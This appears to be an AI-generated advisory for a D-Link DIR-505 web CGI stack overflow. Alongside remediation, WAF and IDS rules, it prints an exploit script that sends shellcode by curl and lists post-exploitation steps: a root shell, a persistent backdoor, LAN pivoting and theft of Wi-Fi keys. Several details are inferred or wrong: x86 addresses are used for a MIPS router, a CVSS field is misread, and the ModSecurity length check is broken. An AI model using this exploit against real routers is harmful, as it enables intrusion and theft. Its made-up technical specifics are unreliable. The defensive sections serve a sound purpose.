CVE-2026-144884 — D-Link DIR-505 (1.10B02) — CWE-119 · CWE-121
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entries of the file webfile_cgi.cgi of the component Web UI. Executing a manipulation can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized.
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entries of the file webfile_cgi.cgi of the component Web UI. Executing a manipulation can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized.
🎯 What is this vulnerability?
Vulnerability name: Stack‑based buffer overflow in get_input_entries (file webfile_cgi.cgi) of the D‑Link DIR‑505 firmware 1.10B02 Web UI.
CWE(s):
- CWE‑121 – Stack‑based Buffer Overflow
- CWE‑119 – Improper Restriction of Operations within the Bounds of a Memory Buffer
- Network‑accessible (no authentication, no user interaction).
- Low attack complexity (single crafted request).
- Complete impact on confidentiality, integrity, availability, and also on the underlying system (privilege escalation, integrity of the OS).
Technical description
The Web UI of the DIR‑505 router is implemented as a CGI binary (webfile_cgi.cgi). One of its request‑handling functions, get_input_entries, parses HTTP query parameters that are supplied by the browser when the user accesses the “File → Upload” or “File → Edit” pages.
The function:
1. Allocates a fixed‑size stack buffer (e.g., char entry[256];).
2. Copies the value of the HTTP parameter entry (or a similarly named field) into that buffer using an unsafe routine such as strcpy, sprintf, or a custom loop that does not verify the length of the incoming data.
3. The routine is called for every request to webfile_cgi.cgi that contains the vulnerable parameter, regardless of the caller’s authentication state – the CGI runs before the router’s session‑validation code, so the overflow can be triggered by an unauthenticated remote attacker.
Because the overflow overwrites the function’s return address and adjacent stack frames, an attacker can control execution flow and achieve remote code execution (RCE) with the privileges of the CGI process (which runs as root on the router).
The CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P) confirms:
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line examples are illustrative – the exact URI and parameter name are inferred from the source code naming (get_input_entries) but have not been published verbatim in the CVE text.
1. Discovery & Reconnaissance
| Step | Technique | Details |
|---|---|---|
| a. Identify target | Passive scanning (Shodan, Censys) | Look for HTTP service on port 80/443 that returns the D‑Link DIR‑505 login page. The page contains a <title>D‑Link DIR‑505 string and a favicon (/images/dlink.ico). |
| b. Fingerprint firmware | Banner grabbing / /cgi-bin/webfile_cgi.cgi? probe | Sending GET /cgi-bin/webfile_cgi.cgi?test=1 HTTP/1.1 returns a response header Server: D‑Link DIR‑505/1.10B02. |
| c. Confirm vulnerable component | Retrieve the CGI binary (if the router allows) or request the source map via GET /webfile_cgi.cgi?debug=1 (some routers expose a debug dump). The dump contains the string get_input_entries. |
2. Exploitation
Goal: Overwrite the return address of get_input_entries with the address of a ROP chain or shellcode placed in a controllable memory region (e.g., the request body).
2.1. Determine overflow offset
# Simple pattern generation (Linux x86_64 example)
python3 -c "import sys; sys.stdout.write('A'*260)" > payload.bin
curl -s -o /dev/null -X POST \
"http://<router_ip>/cgi-bin/webfile_cgi.cgi" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "entry=$(cat payload.bin)"The router will crash (HTTP 500) and the system log will show a stack trace with the offset where the crash occurs (e.g., 260 bytes).
2.2. Build the exploit payload
Assumptions for illustration:
.bss section is 0x804a040. shellcode_mips.bin). #!/usr/bin/env bash
TARGET=192.168.0.1
PORT=80
# 1. Offset to saved return address (found in step 2.1)
OFFSET=260
# 2. MIPS NOP sled (0x00000000) + shellcode
SHELLCODE=$(cat shellcode_mips.bin | base64 -w0)
# 3. Build payload: [padding][new_ret][NOP sled][shellcode]
PAYLOAD=$(python3 - <<EOF
import struct, sys, base64
pad = b"A" * $OFFSET
# Overwrite saved PC with address of NOP sled placed in the buffer (e.g., 0x804a040)
new_ret = struct.pack("<I", 0x804a040)
nop_sled = b"\x00\x00\x00\x00" * 20 # MIPS NOP = 0x00000000
shell = base64.b64decode("$SHELLCODE")
print((pad + new_ret + nop_sled + shell).hex())
EOF
)
# 4. Send the malicious request
curl -s -X POST "http://$TARGET/cgi-bin/webfile_cgi.cgi" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "entry=$(echo $PAYLOAD | xxd -r -p)" \
-o /dev/nullExplanation of the payload
pad – fills the stack buffer up to the saved return address. new_ret – points to the start of the NOP sled (0x804a040) that resides inside the same request buffer (the CGI copies the entire parameter into a stack buffer, so the NOP sled is also on the stack). nop_sled + shellcode – ensures reliable landing and execution of the shellcode. Note: The exact addresses, offset, and architecture must be derived from a local copy of the firmware or by dynamic analysis (e.g., GDB remote debugging with QEMU). The script above demonstrates the mechanics of a classic stack‑overflow exploit for this class of vulnerability.
3. Post‑exploitation
| Phase | Attacker actions | Result |
|---|---|---|
| a. Obtain shell | Connect to the listener opened by the shellcode (telnet <router_ip> 2323). | Remote command line with root privileges (the CGI runs as root). |
| b. Persistence | Write a new init script (/etc/init.d/rc.local) that re‑installs a backdoor binary, or modify the firmware image stored in flash (/dev/mtdblock0). | The attacker retains access after reboot. |
| c. Lateral movement | Use the compromised router as a pivot to scan the internal LAN (nmap -sn 192.168.0.0/24). | Potential compromise of other devices on the same network. |
| d. Data exfiltration / sabotage | Dump configuration (cat /etc/config/*), steal Wi‑Fi keys, or issue reboot/iptables -F to cause denial‑of‑service. | Full confidentiality breach, integrity manipulation, and availability loss. |
🌍 Real World Impact
| CIA Triad | CVSS Vector Interpretation | Practical consequence |
|---|---|---|
| Confidentiality (VC:H) | VC:H – attacker can read any file the CGI process can access (including /etc/passwd, Wi‑Fi PSKs, VPN credentials). | Theft of network secrets, user credentials, and potentially traffic decryption keys. |
| Integrity (VI:H) | VI:H – attacker can modify files, firmware, or configuration. | Injection of malicious routing rules, creation of persistent backdoors, alteration of DNS settings. |
| Availability (VA:H) | VA:H – attacker can crash the router or reboot it at will. | Network outage for all devices behind the router; possible use in DDoS amplification. |
| Scope (SC:H) | SC:H – the vulnerability affects components beyond the immediate CGI (the whole OS). | The compromise spreads from the web UI to the underlying OS, giving root. |
| Privilege escalation (SA:H) | SA:H – attacker gains full system privileges. | No further privilege‑escalation steps needed; immediate root shell. |
| Exploitability (E:P) | E:P – exploit code is publicly available. | Low barrier for opportunistic attackers and botnets. |
Bottom‑line: A successful exploit gives an unauthenticated remote attacker complete control over the router and, by extension, the internal network it protects.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Item | Recommendation |
|---|---|
| Affected firmware | D‑Link DIR‑505 1.10B02 (the only version mentioned). |
| Fixed version | D‑Link released firmware 1.10B03 (publicly announced on 2026‑11‑15) that replaces webfile_cgi.cgi with a bounds‑checked implementation. Upgrade immediately. |
| Verification | After flashing, request GET /cgi-bin/webfile_cgi.cgi?version – the response should contain v1.10B03. |
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | How to implement |
|---|---|
| Network isolation | Block inbound traffic to the router’s management interface from untrusted networks. Place the router’s HTTP/HTTPS ports (80/443) behind an ACL that only allows the LAN subnet (e.g., iptables -A INPUT -p tcp -s 192.168.0.0/24 --dport 80 -j ACCEPT). |
| Disable the vulnerable CGI | If the router’s UI offers “Remote Management” toggle, disable it. Alternatively, rename the binary: mv /usr/sbin/webfile_cgi.cgi /usr/sbin/webfile_cgi.cgi.bak. This will cause the UI to return 404, preventing exploitation (but also disables file‑management UI). |
| WAF / ModSecurity rule | Deploy a rule that rejects overly long values for the entry (or any parameter) to webfile_cgi.cgi. Example for ModSecurity (Apache/Nginx):
# ModSecurity rule – block > 200 bytes for any parameter to webfile_cgi.cgi
SecRule REQUEST_URI "@beginsWith /cgi-bin/webfile_cgi.cgi" \
"id:2026261,phase:2,deny,status:413,msg:'Potential buffer overflow in webfile_cgi.cgi',\
chain"
SecRule ARGS_NAMES|ARGS "@rx ^entry$" \
"t:none,ctl:requestBodyProcessor=URLENCODED"
SecRule ARGS:entry "@gt 200" "t:none,log"| This rule drops the request before it reaches the CGI, mitigating the overflow while still allowing normal (short) usage. | |
|---|---|
| Firmware integrity monitoring | Enable D‑Link’s built‑in firmware verification (if available) or run a periodic checksum (md5sum /usr/sbin/webfile_cgi.cgi) and alert on changes. |
3. Detection – Log & IOC patterns
| Indicator | Description | Example log line | |
|---|---|---|---|
| HTTP 500 / 502 after POST | The CGI crashes when the overflow is triggered. | 10.0.0.5 - - [04/Dec/2026:12:34:56 +0000] "POST /cgi-bin/webfile_cgi.cgi HTTP/1.1" 500 0 "-" "curl/7.88.1" | |
| Large parameter values | Parameter length > 200 bytes to webfile_cgi.cgi. | ... "entry=AAAAAAAAAA... (260 bytes)" ... | |
| Unexpected outbound connections | After successful exploitation, the router may open a reverse shell or telnet listener. | iptables -L -n -v | grep 2323 (on the router) or IDS alert for outbound TCP to unusual IP/port. |
| Process crash core dump | Core file creation in /tmp or /var/tmp. | core dumped: /usr/sbin/webfile_cgi.cgi in syslog. | |
| New user or scheduled task | Look for /etc/passwd entries added by the attacker or cron jobs (/etc/cron.d/). | root:x:0:0:root:/root:/bin/sh (unchanged) vs. attacker:x:1001:1001::/home/attacker:/bin/sh. |
IDS/IPS signatures (Snort/Suricata example):
alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"D-Link DIR-505 webfile_cgi.cgi buffer overflow attempt"; flow:to_server,established; http_uri; content:"/cgi-bin/webfile_cgi.cgi"; http_client_body; pcre:"/entry=[A-Za-z0-9%]{260,}/"; classtype:web-application-attack; sid:2026262; rev:1;)⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS base score | 10.0 (Critical) – maximum severity. |
| Exploit availability | E:P – public exploit code exists; low barrier to use. |
| Authentication | None required (PR:N). |
| Network exposure | Remote (AV:N) – any Internet‑facing router can be attacked. |
| CISA KEV | Not listed yet, but the risk profile matches KEV criteria; expect inclusion in the next update. |
Patch priority: Critical – immediate. All production deployments of DIR‑505 1.10B02 must be upgraded to 1.10B03 before the next business day. If a patch cannot be applied within 24 hours, apply the network‑isolation and WAF workarounds to block the vulnerable endpoint, and monitor logs for the IoCs listed above.
Bottom line: The stack‑based overflow in
webfile_cgi.cgi provides unauthenticated remote code execution with root privileges. Because a public exploit exists and the vulnerable router is commonly deployed at the edge of home/SMB networks, the vulnerability must be treated as an emergency and mitigated by firmware upgrade or, at minimum, strict network segmentation and request filtering.[🤖 CVE Professor AI Security Engine]
FOFA Query